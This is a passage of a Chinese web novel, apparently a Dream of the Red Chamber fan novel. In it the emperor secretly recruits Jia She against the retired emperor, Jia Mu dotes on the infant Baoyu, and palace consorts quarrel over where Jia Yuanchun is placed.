皇后忙解释道“也不是不尽心,只是宫里的东西,又要符合规制,又要符合节令,自然翻不出多少新花样来,妍儿又年纪小,觉得这些不够轻便漂亮,比不得弟妹之前送她的那些小玩意,这才惦记着呢!” 圣上听了,也凑过去看了一眼,嘴里说道“还是他们不尽心,这些首饰给皇后你平常戴着倒是差不多,妍儿才留了几年头啊,就戴这些!” 皇后见圣上语气并不是真的生气,便也不多说什么,只是笑道“有了皇爷这句话,回头我便有话要说了,到时候问弟妹借了他们家的首饰册子来,也叫银造局多长几个心眼,琢磨点新花样出来!” 说笑了一阵子,皇后便又叫人传饭,如今徒嘉珩也大了,进出后宫不便,因此,皇后便很少叫他进来,这会儿就只是带着嘉妍一起吃。 用过晚膳之后,皇后见圣上似乎有些心事,便打发嘉妍自个回屋里头玩,然后便问道“皇爷似乎有些心事?” 圣上正会儿正是不吐不快的时候,当下就将今日的事情说了,气恼道“父皇明明说巡盐御史的事情由朕做主,结果到头来,依旧是他的人!” 皇后沉吟一番,却是说道“臣妾虽说久在内宅,但这个林如海,臣妾却也是知道一二的!他未必就是父皇的人!” 圣上一愣,忙问道“皇后不如细细讲来?” 皇后笑道“这也多亏了七弟妹,皇爷该记得以前钰儿的伴读是荣国府的 贾瑚吧!那是一等将军贾赦的嫡长子, 一等将军夫人张氏的出身皇爷也该清楚,当年那事,张家也受了牵连,那会儿他们府里老国公救驾受伤,卧病在床,府里的事情都是老夫人管着,瞧着张家落魄,那老夫人便起了点心思。张家与隆安侯府却是有些亲戚关系,弟妹得叫那张夫人一声表姐,听得此事之后,弟妹便将钰儿伴读的位置许给了贾瑚,算是告诉荣国府,张夫人便是没了娘家,还有人给她撑腰!” 圣上听到这里,便有些不乐,皇后娘家当年也是如此,他却是不离不弃,情深义重,如今顿时觉得自己占据了道德制高点,又想到之前荣国府攀附徒宏憬的事情,口中说道“那位太夫人倒挺会见风使舵!” 皇后也是点头“可不正是如此,不仅如此,那位太夫人还是个偏心眼,一意喜欢小儿子,不喜欢长子,等着代善公过世之后,便硬生生以那位一等将军无能,愧对祖宗,以至于爵位连削五级,都掉落到超品之下为由,硬生生将荣国府的爵产给了次子继承!” 圣上听得拳头都赢了,这都什么事啊!你偏心也就罢了,爵产这种东西,是你一个妇人能私相授受的吗?圣上认识贾赦,当初在东宫也是低头不见抬头见的那种,一听贾赦居然窝囊到这个份上,不免骂道“贾恩侯那个蠢货!” 皇后又将后来的事情说了,圣上算是听明白了,荣国府如今根本不是一条心,贾史氏带着小儿子搞投机,却想要大儿子顶锅。贾恩侯也不是好惹的,差点连贾政的腿都打折了。 贾赦如今提督五城兵马司,看似官职不高,平时也没太多存在感,但在京中,委实算是个重要人物。他看破了母亲的偏心之后,只怕贾家的许多人脉也被他攥得死死的。可以说,贾赦是个可以拉拢的,反倒是贾史氏和贾政母子两个,首鼠两端,不值得信任! 圣上再一想,宁国府那边贾敬当初为了避祸出了家,但这位可是义忠亲王的铁杆,自己当初跟他也是认识的,应该也能拉拢了来。荣宁二府如今虽说无人手里有兵权,但贾代化贾代善从兄弟两个接连掌管过京营,至今京营里头许多中高级将领依旧算得上是贾家的门徒,若是拉拢了这两位,那起码在京城,自己不怕遇到兵变之类的事情了。 至于说林如海,这位能高中探花,可见不是什么一条道走到黑的蠢货,何况,他原本也不是太上皇的心腹,要不然,也不至于这么多年才做到了扬州知府的位置。这位便是一开始跟贾家二房更亲近,如今这么多年也该看出了二房的虚实,再跟二房关系近,那就是愚蠢了! 既是如此,林如海也应该是可以拉拢的。 这么一想,圣上愈发轻松了起来。他现在是又缺人,又缺钱。但以他的身份,某种意义上来说,有了人就有了钱,反过来其实也成立。 巡盐御史这个官职品级虽然低,却是典型的位低权重,盐政的官职要高不少,却在许多事情上得受到巡盐御史钳制。 林如海若是肯投靠当今圣上,那么江南那边,便有了破局之道。 “既是如此,今年就召林如海进京述职吧!”圣上很快便下了命令。 太上皇自然也听说了这事,他对林如海的立场并不是很在意,林如海虽说是姑苏人,背后还有个荣国府,但是荣国府两房几乎早就撕破了脸,金陵那边的族人只怕更多地还是听贾史氏的,可想而知,林如海若是立场有问题,根本得不到贾家多少助益。而林如海自己,势单力弱,林家宗族跟林如海这支血缘已经很远了,当年开国那会儿还闹得很不 愉快, 老林侯后来更是直接将自己一脉的祖先都从林家祖坟迁了出去,几乎是实质意义上的除族了。 林家宗族后来也懊悔,却又不肯自己上门说句软和话,反倒是拿捏着想要林侯这一脉低头,人家又不是犯贱,硬要给自己寻个祖宗。时间一长,林侯一脉即便是子嗣艰难,也宁可依赖姻亲,不愿意相信宗族。他们都觉得,自己这一脉若是真绝了嗣,到时候只怕林家宗族头一个来发绝户财,与其如此,还不如断了算了!至于说什么香火祭祀之类,他们还真未必有多在乎。 这也是为什么顾家说跟林家其实算不得什么姻亲的缘故,因为当年跟顾家结亲的是林氏宗族,而不是林如海这一支。当年之所以有往来,也无非就是两家当年都在太祖座下共事,以姻亲的名义往来,更方便一些。 所以,在太上皇看来,林如海但凡是想要做出点事情来,或者说,哪怕是为了自保呢,都不可能向着圣上。毕竟,江南那边是甄家的自留地,林如海不靠拢甄家,那想干点什么事情都千难万难。 太上皇自以为能掌控人心,圣上却是个实在人。他不方便在宫里召见贾赦,毕竟,大明宫那边盯着呢,兴庆宫这边哪怕是多了只鸟,都有人禀报给太上皇。 因此,圣上直接以私人的身份,选了个休沐日,在宫外用巧遇的方式见了贾赦。他原本还想要见一下贾敬,结果叫人去玄真观那里一看,发现贾敬如今真是修道修得走火入魔了,什么也不管,什么也不顾,开口“福生无量天尊”,闭口“功德业障”,被里头那些不知道什么来历的道士糊弄得一愣一愣的,整日里只知道打坐念经,烧铅炼汞,也不知道当年那些儒家经典都学到哪里去了! 贾赦有些紧张,当年他在东宫其实就类似于一个吉祥物,贾敬还能给义忠亲王出出主意,贾赦那会儿代表的就是荣国府的立场,只要他人在,那就行,所以,那会儿贾赦在东宫游手好闲不说,特么还手贱,什么都要摸一把,玩一下,还厚着脸皮从义忠亲王那里讨了不少好东西。 圣上那会儿还年轻,不明白义忠亲王为何对贾赦一个小纨绔这般纵容,但是如今想起来,倒也明白一些。义忠亲王自己成熟得太早了,而贾赦这样一个同样出身高贵,却能没心没肺,毫无顾忌的家伙让义忠亲王看到了另一个可能。 想到宫变之后,贾赦的遭遇,圣上也有些唏嘘。那个在大明宫也敢动手动脚,龇牙咧嘴的少年,终于在生活的毒打下变了一副模样。 贾赦这个五城兵马司提督平时也不用上朝,他一等将军的身份倒是可以上朝,但他就没用这个身份出现过,便是每年入宫朝贺,圣上跟他也隔得挺远,别说是说话了,都未必能打个照面。 这会儿遇见贾赦,圣上都吃了一惊。 贾赦以前真的是个美少年,他长得不像贾代善,也不像贾史氏,倒是比较像老国公夫人,甚至还有些男生女相。如果顾晓见过年少时候的贾赦的话,她可能会怀疑,贾政不怎么喜欢贾宝玉,可能是因为在贾宝玉身上看到了贾赦的影子。同样深受祖辈喜爱,同样不思进取,每日浪荡,那对贾政来说,简直是年少时候的噩梦。 但是如今的贾赦,呵呵,算是彻底长残了,他虽说没有酒色过度,但是前些年的窝囊生活也在他身上留下了明显的痕迹。他年纪其实与圣上差不多,但是如今看起来,竟是比圣上还老几岁的样子。起码圣上那几年纵情声色是装的,贾赦那几年颓废是真的! 他们选的是一个包间,贾赦进门就给圣上行礼,圣上 摆摆手,叹道“恩侯,这才十来年的功夫,你都老成这个样子了!” 贾赦恭维道“圣上却是一如往昔!” 圣上摆了摆手,笑道“这几年过去,恩侯也开始会拍马屁了!” 贾赦干笑一声,在圣上的示意下,老老实实在下首坐下,一边夏守忠还殷切地奉了一杯茶。 贾赦摆足了一副遭遇过生活毒打的模样,半点没有当年小霸王的嚣张跋扈,还给夏守忠道了谢,倒是叫夏守忠都有些不习惯起来。 当年的贾赦看他这样太监的时候,眼睛都是斜的,需要叫人的时候,嘴里就是“那个谁,过来一下,给小爷办点事!”他们这些小太监就得屁颠屁颠地跑过去满足他的要求。不知道的,还以为贾赦才是皇家人呢! 可惜了,时过境迁,没了祖父父亲撑腰,贾赦也支棱不起来了。 贾赦思来想去,也不知道圣上找他来干什么,干脆老老实实坐在那里喝茶。这茶应该是这茶楼的,号称是明前龙井,但贾赦一喝,觉得顶多是雨前,而且还不是那等上品,不过就是中品罢了。 不过,这个时候,甭管是不是好茶,贾赦就这么低着头,慢慢品着,就等着圣上先开口。 圣上也不好赤果果地说,贾恩侯啊,如今朕当皇帝了,你是倒头便拜呢,还是如何?因此,也只管摆出一副只是叙旧的模样,跟贾赦说当年东宫之事。 然后,说着说着,两人都沉默起来。 义忠亲王真的是个富有人格魅力的人,太上皇将他培养得非常成功,也正是因为这个,才引起了太上皇的忌惮。大家都跑去支持太子了,他这个皇帝该怎么办?早点退位让贤吗? 如今圣上自己坐在这个位置,太上皇都已经老了退位了,愈发能够感受得到义忠亲王当年过的都是什么日子,对于自己这个兄长愈发怀念起来。 “兄长真是可惜了,偏生他太决绝,连个血脉都没有留下!”圣上说到这里,忍不住叹了口气。 贾赦心里却是一突,他似乎想起了什么,贾敬当年作为义忠亲王的铁杆,绝对干了点什么,要不然也不至于胆子小到直接出家,半点后路都不给自己留。 只是他不知道圣上这会儿到底是个什么想法,义忠亲王无子,圣上可以怀念,但要是突然冒出个义忠亲王的儿子来,只怕圣上第一件事就是砍了他!所以,即便这事有猫腻,贾赦也只当做是什么都不知道。如果当年东宫真的有漏网之鱼,就叫他隐姓埋名,安安静静的在某个角落好好活下去吧! 贾赦如今城府也深了,面上半点异常的表情也没漏出来,还摆出一副思念的模样,嘀咕道“当年,我家瑚哥儿出生,那会儿东宫也生了个郡主……” 他话没说完,圣上就想起来了,当年义忠亲王曾经开玩笑,两个孩子出生相差没几天,也是缘分,要将那个孩子许给贾瑚为妻的。圣上还记得那个小郡主,粉嘟嘟的,有些贪吃,因此有点胖,但却是个可爱的小姑娘,结果也死在了那场大火之下。 想到这里,无论是圣上,还是贾赦,竟是都垂下泪来。 作者有话要说 微云烟波向你推荐他的其他作品 第 160 章 恩侯,帮朕! 一起怀念了一下义忠亲王之后,两人似乎关系一下子拉近了许多,圣上也不拐弯抹角了“恩侯,帮朕!” 贾赦愣愣地看着圣上,就听圣上说道“当年的事情,你也知道,兄长最后那样都是被逼的!如今,却又轮到朕了!朕虽说坐在皇位上,却形如傀儡一般,朝中老臣一个个什么都要向太上皇请示,又将纯王抬举起来,这跟当年有什么两样!” 贾赦舔了舔嘴唇,直接起身跪了下来,低头说道“愿为圣上效死!” 圣上忙起身亲自拉着贾赦起来“你我之间,何须如此!有恩侯你这句话,朕就放心了!” 贾赦顺着圣上的力气站起来,重新坐下,叹道“圣上放心,臣尽力而为便是!只是家里母亲委实有些难缠!” 圣上笑了起来,说道“朕也听说了你家的事情,你家老太太不就是想要拿着孙女寻个金龟婿嘛!朕跟你平辈相交,可不想吃这个亏,要不,朕回头就给她一个恩典,将她送回去?” 贾赦有些心动,忽然反应过来,连忙摆了摆手,说道“别!家母素来觉得那丫头生辰好,是个有造化的,圣上您前脚把她送回去,后脚家母还不定闹出什么幺蛾子呢!您就当没这个人,让她老老实实在宫里做个女官,回头到家二十岁了,家母也就没什么指望了!” 圣上见贾赦脸色越说越苦,不免生出了一点同病相怜的感觉,自己摊上一个抓着权力不放手的老爹,贾赦摊上的是个没什么长远眼光,还一门心思攀龙附凤的偏心老娘,偏生都拿对方没什么办法! 圣上可不会跟贾赦说,你家那个老娘们是个糊涂蛋,你别管她怎么折腾,自个做主就行。放在后世,你在网上说什么父母皆祸害,还有人支持并共鸣,但是放在这个时代,除非是原则性错误,否则的话,那真的是天下无不是的父母。母权来自于父权,拥护父权就是拥护君权,这就决定了,即便是皇帝,也不能冒着未来给自己挖坑的风险,对孝道指手画脚。 再说了,正因为贾家如今这个样子,贾赦才能老老实实给自己效力,也能迷惑太上皇。至于贾家这般反复横跳,会不会在别人眼里落个骑墙派的名头,这跟圣上有什么关系。 然后,圣上就跟贾赦说了林如海的事情,贾赦顿时瞪大了眼睛,他还想着林如海调回神京呢,结果又得去做什么劳什子巡盐御史! 好在巡盐御史跟其他官职不同,一年便是一任,贾赦琢磨着再等个一年,自家妹妹妹夫还有那个小外甥女就能回来了,当下便是又替林如海表了一番忠心,表示回头就写信去扬州,跟自家妹夫说一下圣上的隆恩。 圣上来找贾赦,为的就是这事,既然目标已经达成,便也不在外头多留。他如今这个身份,并不适合白龙鱼服,别的不说,要是徒宏憬胆气壮一点,玩点花样出来,说不定就达到弑君的成就了。 因此,圣上先一步返回宫中,贾赦在茶楼里又坐了一会儿,还跑到琉璃厂又淘换了几样东西,这才慢悠悠回去了,脸上神情明显有些春风得意。 张氏见了,不免笑道“老爷今儿可是淘到什么好东西了,不如叫我也见识一下!” 贾赦笑眯眯地将淘换的东西随手丢到桌子上“东西嘛,倒是真品,不过也算不得多好,今儿个老爷我高兴的不是这个!” 张氏有些疑惑,问道“那是什么?” 贾赦上前一步,低声说道“夫人猜猜看,今儿个我见到谁了?” 张氏一愣,也跟着猜到“莫不是太爷的 旧部?” 微云烟波提醒您《红楼太妃要躺平》第一时间在[笔趣阁+,记住[(. 贾赦摇了摇头,四处看了一下,然后在张氏耳边低声说道“今儿我出门,其实是去见圣上了!” 张氏吓得一个哆嗦,瞪大了眼睛,看向了贾赦。 贾赦肯定地点了点头,一屁|股坐了下来,说道“那位还记得当年东宫的情谊,我琢磨着,说不定过个几年,舅兄他们也能回来!” 张氏眼泪都要流下来了,她腿有些软,退后几步,也在椅子上坐了下来,忍不住双手合十,念了一声佛“阿弥陀佛!” 前几年的时候,张家老爷子在忧愤中过世了,她几个兄长连回去奔丧都不能,她这个外嫁女,也只能私底下烧了几刀纸,悄悄在外头庙里供了个牌位,点了长明灯。若是张家能够平|反,那真是再好不过! 张氏哭了一阵子,只看得贾赦有些手足无措,他们少年夫妻,便是如今少了从前的热情,却也是恩爱过好几年的,如今两人之间没了曾经的爱恋,却真的如同骨肉亲人一般,感情反倒是愈发深厚起来。 贾赦起身抚摸着张氏的脊背,感受到妻子的颤抖与软弱,却不知道该说什么好! 夫妻两个之后抱头哭了一场,消息传到荣庆堂,贾史氏还有些纳闷,以为张家又有人死了!毕竟,当初张家老爷子死讯传过来的时候就是这样。 贾史氏对张家没多少好感,说是亲家,她当初没事几乎不登张家的门。甚至张家出了事,贾史氏还有些幸灾乐祸。如今似乎张家又有坏消息传来,贾史氏心里头悄悄乐了一场,又叫下头卤了炸过的鹌鹑和野鸡崽子,回头给她晚上佐粥吃,咸津津的,吃着正合口。 这边才吩咐下去,那边贾宝玉已经摇摇晃晃走过来,他学说话比较早,不到一周岁,就能跟着贾元春学几句三字经了,无非就是说得不清楚罢了,如今说起话来,愈发利索了,已经能说比较长的句子。 这会儿奶声奶气地叫着“老祖宗,宝玉来了!” 贾史氏顿时笑开了花,忙说道“哎呦,宝玉啊,快来老祖宗这里来,怎地不叫丫头抱你过来,这门槛这么高,万一绊着了怎么办?” 一边跟着的几个丫头忙解释道“老太太,原要抱了宝二爷过来的,只是宝二爷不让,非要自己走过来!” 然后就看到贾宝玉伸出手,手里还抓着一枝梅花,嘴里甜甜蜜蜜说道“宝玉给老祖宗摘花戴!” 贾史氏简直是心花怒放,忙将贾宝玉揽到自个身边坐下,闻着他身上的奶香和花香,笑眯眯说道“那宝玉现在给老祖宗戴上,好不好?” 贾宝玉直接在炕上站了起来,贾史氏略歪了一下,叫贾宝玉够得着,贾宝玉将手里那枝梅花当做钗子一样,插到了贾史氏头上。 贾史氏年纪大了之后,其实不怎么喜欢戴什么沉重的首饰,一般就是用一两支比较轻巧的步摇横簪,搭配上抹额,毕竟,人年纪大了容易脱发,她又不喜欢掺假发,如此才不会给头发带来额外的负担。 贾宝玉年纪小,手上也没轻没重的,这一枝梅花插|进去,扯得贾史氏头皮疼,但是心里却是极高兴的。贾史氏也不觉得贾宝玉能如何光耀门楣,但是人家毕竟有可能是神仙下凡,只要他在自己身边,自己的福气就不会断绝,所以,贾史氏对贾宝玉,那叫一个宠爱纵容。当年她瞧不惯自家婆婆娇惯贾赦,如今轮到她自己,竟是愈发变本加厉起来。 贾史氏素来只有别人哄她的,没有她哄别人的道理,这会儿对上贾宝玉,嘴里哄小孩子的话,简直是信手拈来。 贾宝玉大概也知道谁是这个家里决定他命运的人( 祖孙两个互相哄了一阵子,贾史氏便笑着问跟着的奶娘李嬷嬷“可给宝玉喂了奶了?”

李嬷嬷忙说道“已经喂过了,等半个时辰,还得再喂一次!”

贾史氏听着点了点头,又叫下头做了嫩嫩的鸡蛋羹过来,毕竟,贾宝玉牙都长了好几颗了,奶水再养人,也有些不足,自然也得略添一些辅食。

鸡蛋羹做起来快得很,贾史氏这边供应一向富裕,大冬天的竟是还有鲜虾,将虾仁剁碎了与鸡蛋一起蒸,再点上两滴香油,闻起来就是香喷喷的。

贾宝玉还让着要跟贾史氏一起吃,贾史氏意思意思吃了一口,便叫人喂贾宝玉,又是笑道“宝玉虽说年纪小,就已经看出孝顺来了!这样的好孩子,他老子还要挑拣!”

说着,贾史氏又问道“二老爷那边,赵姨娘几个月了?”

贾史氏身边的丫头也已经换了一茬,只是只换人不换名字罢了,这会儿说话的就是新的翡翠,她嘴里说道“已经有五个月了,大概明年二三月里头,就该生了!”

贾史氏若有所思“倒是跟敏儿家的丫头前后脚!”

说到这里,贾史氏笑着看向了已经吃完了蛋羹的贾宝玉“你姑母家还有个妹妹,名字里头也有个玉呢!”

贾宝玉眨了眨眼睛“妹妹?宝玉要妹妹!”

贾史氏呵呵笑道“好,回头你姑母回京,就叫你见见妹妹!”

她这会儿还没生出亲上加亲的想法,无非就是喜欢贾宝玉,又想到了还没见过的外孙女,因此随口一说罢了。

贾宝玉见贾史氏也不再说什么,他这个年纪,对妹妹还没准确的概念,他只知道,自己有三个哥哥,两个姐姐,只是几个哥哥都不常见到,原本模模糊糊有个大姐姐,似乎很久没出现过了,二姐姐也不跟他们住在一起,不过是偶尔跟着一个伯母来一次罢了。

所以,贾史氏一句话带过,贾宝玉很快便忘了这回事,又凑到几个丫头那里,闻她们身上的胭脂味,还闹着想吃。

几个丫头哪里拗得过贾宝玉,何况小孩子嘛,喜欢这种甜香的味道,本来也是正常的。因着贾宝玉这个毛病,荣庆堂这边的丫头用的胭脂都上了一个档次,免得贾宝玉吃坏了肚子。

贾史氏也不生气,就看着小孙子跟几个丫头闹腾,只觉小孙子真的是聪明又可爱。

孩子都是自家的好,顾晓如今却想要将自家儿子撵出去。

末儿跟着季先生,读书什么的都比较敷衍,却是一直在坚持学绘画,不仅在纸上,在绢布上画,如今已经发展到在墙上画。

他自个院子里头,连院墙上都被他画上了各种草木花鸟,倒也颇有些趣味,但他如今竟是不满足于只画这些了,开始闹着想要学人物壁画。

这年头不讲究解剖学,那等名家画出来的人物虽说只追求神似,并不会追求形似,但是总归画出来的人物都比较自然,最多就是画上的人经常会显得额头比较大,不过这也是难免的,这年头除了未婚少女额前会覆发,就跟后世刘海一样,男人妇人都会将头发梳上去,很长时间还特别流行高髻,若是搭配上额饰帽子还好,若是没有,画上人一般又都是细眉细眼的,还喜欢将脸画得珠圆玉润,一看可不就真的都是一溜大脑门。

但是末儿可还

没有这个能耐,画出来的人物,比例就很不协调,身体姿态也很是古怪,简直跟软面条一样。顾晓原本就是一时兴起,跟他说了西洋那边的透视法,还有就是用炭笔给他画了一幅人物素描,结果就被末儿给缠上了。

顾晓上辈子学这个都是上班之后搞的,根本就是浅尝辄止。这辈子原身闺中的时候也学过一些,顾晓之前一时兴起,还画过几次,只是那会儿末儿还小,已经不记得了!但是她对这个,是真没什么热爱,她自己也就是在网上看了点教程,属于野路子,不是学院派,之前教了末儿一番,已经算是将自己知道的都教了。

但是末儿就是不相信,硬是觉得顾晓这个当妈的肯定深藏不露,还有绝活自己留着,各种软磨硬泡。

顾晓好说歹说,最后直接出了个馊主意,虽说因为当年传教的事情,朝廷将那些传教士都驱逐出境了,但是也未必没有漏网之鱼,你自个去找找看,可有那等擅长画人物的西洋人,到时候叫他们教他便是。

末儿一听,顿时就来劲了,如今没事就往外头跑,想要找出什么西洋人来。

可惜的是,除非是遇上各国朝贡的年份,否则的话,想要在神京遇上西洋人真的比登天还难。

其实要不是宗室不好随意离京,顾晓倒是愿意给末儿推荐一下敦煌,那边的壁画如今也还没遭到破坏,就这么隐藏在石窟之中,也没什么人关注。 得了顾晓的许诺,甚至还弄到了一幅画在玻璃上的圣母像,末儿勉强算是满意了,带着圣母像回去研究西洋那边的画法,顾晓总算是松了口气。 “我看三公子以后说不定也能成一代画宗呢!”春香一边给顾晓奉茶,一边笑道。 刚泡好的白梨橙片茶,酸甜可口,温度也正好,顾晓一气喝了半盏,才说道“随他吧,只看他喜欢便是!” “也是娘娘开明,寻常人家,都只叫子弟读圣贤书,哪里还能学这些!”春香恭维道。 顾晓忍不住一笑“咱们家要是寻常人家,说不得还真要叫他学圣贤书,好歹有个功名在身,出门在外,不至于被人欺负!可他已经是宗室子弟了,若是自己想要学,那多学一些经义也是无妨,可若是没这个想法,干什么还要皓首穷经呢!他喜欢画画也是一样,既然愿意坚持下去,咱们也不缺那点颜料钱,就让他继续学呗,至于究竟能不能学成,就看他的天份!” 下面几个丫头也跟着恭维,有几个心里却是郁闷,果然是王府的做派,生下来就有爵位,一辈子吃喝玩乐都花不完,与其让他养成什么不好的习惯,不如培养一个可以贯穿终生的兴趣爱好。可怜她们这些丫头,可就没这样的运气! 顾晓其实心里也是这样想,这年头,能投胎成男人,就是绝大的运气,再生在一个富贵尊荣之家,那就是出生在罗马,自然可以更随心所欲一些。可以说,生在这样的人家,只要不学坏,就是在为社会做贡献。 顾晓对自家孩子的要求就是这么低,徒宏憬却是从小被望子成龙,久而久之,真当自己是真龙了。 太上皇重新给他画了一张大饼,原本以为老婆岳父会跟他一起看这块饼,结果,别说是岳父了,老婆都不买账。 纯王妃又不是傻子,徒宏憬就是个只能共患难,不能共富贵的。之前连河都没过,就想要拆桥,如今发觉还有过河的希望,又想要将桥搭起来了! 纯王妃琢磨着,徒宏憬这种人,老老实实做纯王还能多活几年,像他这么乱跳,迟早死无全尸! 纯王妃已经将手里多的嫁妆悄无声息送回了娘家,她已经做好了被徒宏憬牵连的准备,谁叫嫁鸡随鸡嫁狗随狗呢,皇家又没有王妃和离的先例,她也只能是忍了。但是,她绝不会生下孩子,叫孩子跟着一块受罪!没有孩子,将来坏了事,她还能一了百了,有了孩子,她就得好死不如赖活!纯王妃才不想为徒宏憬生孩子,瞧着府里头又想要爬床的,都被纯王妃一股脑儿塞给了徒宏憬,自己一门心思吃斋念佛。 徒宏憬被纯王妃气得够呛,知道镇国公府是靠不住了,忽然又想起来自家跟贾家的约定,再想到贾元春居然没被分到自个母妃身边,顿时就疑心贾家也反悔了,不免愈发气恼起来!麻蛋,要是贾元春是贾赦的女儿,吃这个亏,他也就忍了,你贾政算个什么东西,也敢不拿我当回事? 作者有话要说 第 161 章 甄侧妃 荣国府那边,贾赦很快收到宫里传出来的消息,徒宏憬进了一次宫,想要问贵太妃要贾元春,贵太妃已经打算将贾元春调到自己身边了。 贵太妃压根没打算跟贾家说什么,之前说好的事情,你们也想要反悔?你以为现在是贾代善还在的时候啊! 贾赦得到消息,琢磨了一下,准备将这个消息递给贾史氏,叫贾史氏烦心去。 贾史氏果然傻眼了,便是太上皇给徒宏憬画了饼,贾史氏也不乐意冒这么大的风险啊!太上皇都多大年纪了,还能活几年!到时候圣上那是要秋后算账,可怎么办呢? 贾史氏急得团团转,结果却发现贾赦一副气定神闲的模样,不免就有了几分猜测“此事,你觉得应该如何?” 贾赦幸灾乐祸地说道“又不是我女儿,我有什么觉得的!横竖元春进了纯王府,一开始也就是个侍妾罢了,侍妾的娘家能算正经亲戚吗?反正我不认,要是老太太还有老二你们认的话,那咱们就分家!” 贾史氏不由噎住,动不动就喊着分家,你就没别的词了吗?贾史氏倒也不是真的疼爱元春这个孙女,她的爱多半是有条件的,要是元春的存在对贾家有影响,她不介意跟元春彻底划分界限,嫁出去的女儿泼出去的水,你都给别人做妾了,那就当我们家没这个女儿好了! 只是这话不能贾史氏自己说出来,这就显得她凉薄。如今贾赦说出了她希望听到的话,但又把责任推给了她!这老大什么时候这么滑不留手了! 贾史氏气道“整日里就是分家,分家,谁家长辈还在就分家的!你再提这个,就是逼着我死!” 贾赦也是梗着脖子说道“那老太太你领着贾家往泥坑里面跳,我这个当儿子的还得跟着不成?” 贾史氏本想再骂贾赦一番,结果看贾赦一副无所谓的样子,一时间也是气急,骂道“罢了,我一个老婆子,生了两个儿子,竟是一个都指望不上,你想要看我老婆子的笑话,那是想也别想!” 说着,贾史氏直接将贾赦撵走了。 贾赦也是纳闷,贾史氏到底还藏着什么底牌,怎么就这么笃定呢? 很快,贾赦就知道了。 贾元春被瑜太妃要到了身边。 贾赦眼珠子都要掉下来了,他怎么不知道,自家跟西宁郡王府有什么关系! 他要是跑去问贾史氏,得到的消息大概是,你不知道的事情多着呢! 贾赦越想越觉得贾史氏简直是再作死,你一个老太太,这般交游广阔做什么! 圣上也有些意外,虽说瑜太妃打着的旗号是不想叫贵太妃如愿,但是瑜太妃素来不是什么多事的人,她会没事做多余的事情才怪! 圣上没去打听贾史氏到底跟西宁郡王府达成了什么协议,这老太太是个糊涂蛋,总是将人情浪费在无关紧要的事情上,看样子,这位真的对贾元春寄予厚望。 圣上曾经悄悄看过贾元春一眼,就是个略有几分美貌的少女,别说是倾国倾城了,放在宫里头,都只能说是中人之姿,至于说有什么惊世的智慧,那就更呵呵了,她要是真是什么聪明人,也不该沦落到这个地步。 圣上就不明白,贾元春除了个正月初一的生日之外,到底有什么地方值得贾史氏不断下重注的!她又不是只有一个孙女,想要弄个孙女攀龙附凤,叫儿子多生几个就是了!贾赦贾政的嫡妻年纪都不小了,正好选几个长得漂亮的给儿子做妾,多生几个如花似玉的闺女,到时候一起送出去,有一个成功,都算是 不白费劲11(
横竖圣上对这么个小丫头片子没什么兴趣,在没发现什么异常之后,他就将这事抛之脑后了。倒是贵太妃,没想到这事是贾家那边动了手脚,而真的相信是瑜太妃故意跟她过不去,只气得要死。

因着太上皇如今是有心无力,又需要时刻给甄家这头驴子面前吊根胡萝卜,因此,贵太妃如今已经不住在逼仄的宁康宫了,反倒是直接住进了大明宫的后殿。原本这里那些伺候的宫女,被幸过的都已经被安排到了寿康宫和宁康宫,没被幸过的,都被放了出去,如今这边就是贵太妃一家独大,也叫她更是觉得能当大明宫半个主了!

贵太妃既是觉得瑜太妃欺负了自己,她便跑到太上皇那里告状。

太上皇如今虽说那半边身体已经能活动了,但还没那么灵敏,如今还在休养之中,每日里光是想着如何遥控朝政,就足够他花费心力了,哪有空跟女人叽叽喳喳。尤其,甄贵妃这个年纪,美貌也不剩多少了,还摆出一副娇滴滴的样子,这就不显得可爱,反倒是叫人心烦。

因此,太上皇只当不知道涉及到的女官是谁,直接敷衍道“不就是一个女官嘛,回头给你补两个!”

他还是顾念当年贾代善与自己的君臣情谊的,贾代善的孙女被送进宫里来伺候人那是他们家自己的选择,但是落到给自家儿子做妾的地步,太上皇也有点不好意思。

另外就是,太上皇其实并不是真心实意地要给徒宏憬加码,当今起码还知道装样子,这个儿子连样子都装不好,真要是叫徒宏憬上位,自己这个太上皇只怕连摆设都做不了!

所以,太上皇干脆地就摆出一副在两个老婆面前和稀泥的做派,反正就是不提让贾元春去贵太妃身边伺候的话。

贵太妃见状,也是无可奈何。她这么些年得宠,某种意义上来说,是被太上皇驯化了,不管太上皇说什么,都能找出理由来,所以,她真的单纯地相信太上皇给她画的饼。

贵太妃之所以想要将元春赐给徒宏憬,其实也有担心徒宏憬的意思。纯王妃显然已经与丈夫离心,如今纯王府里头,纯王妃深居简出,几乎不露面,却给徒宏憬安排了一大堆侍妾,作出“贤妻”的姿态,但是,这些侍妾一个个几乎都是奴婢出身,她们便是生了孩子,又能如何?母以子贵,但首先要子以母贵才行!徒宏憬需要一个出身不差的儿子,如此才能叫跟着他的那些人放心。

太上皇听得贵太妃在那里抱怨纯王妃只知道吃斋念佛,竟是忘了自己是王府的女主人之类的话,也不多嘴,镇国公府当初一时冲动,如今已经尝到了苦果,他们肯继续投入那才怪了!

戴权听了,心中免不得窃笑几声。太上皇连这话都说出来了,看样子,纯王那边是真没什么希望,可怜贵太妃纯王母子,被太上皇骗得一愣一愣的。 当然,心里这么想,戴权嘴上却是什么也没说,只是低眉顺眼地扶着太上皇继续在殿内散步,等过了一会儿,太上皇有些累了,这才又扶着他坐了下来。 太上皇眯着眼睛,靠在引枕上,随口问道“贾史氏怎么就找上西宁郡王府了?” 贵太妃不知道的事情,太上皇却是知道得清清楚楚,戴权在一边解释道道“皇爷明鉴,当年代善公是救过老西宁郡王一次的,后来也没别的说法,看起来是将人情落在了这事上头了!”太上皇如今听不得一个老字,原本宫里叫他老圣人,结果他听了不爽,发作了一番,之后大家还是老老实实按照原本的称呼来,至于父子两个一起的时候该如何称呼,就看到底是谁的奴婢了。 太上皇听了,也想起了这事,不免冷笑起来“代善什么都好,就是娶了个蠢妇,没什么本事也就罢了,还眼大心空!” 圣上可以骂,戴权只能在一边听着,然后就听太上皇又有些黯然了“唉,当年听人说,大丈夫难免妻不贤子不孝,还觉得是笑话,如今想来,竟是真的!” 戴权更不敢吭声了,虽说他的一切都系于太上皇之身,但终究还是个奴婢,太上皇这意有所指的话,他是不敢搭腔的。 太上皇愈发意兴索然起来,正巧下头送了茶水点心上来,太上皇近来喜欢上了各种澄皮的点心,像是什么虾饺,菜饺,水晶饼之类,能清清楚楚看得到里头的馅儿,又一个个做得小巧玲珑,一口一个,咸甜皆可,他吃了一个棋子大的水晶饼,不免叹息,要是人心也能如同这澄皮一样,看得清清楚楚就好了,可以省掉他多少事。 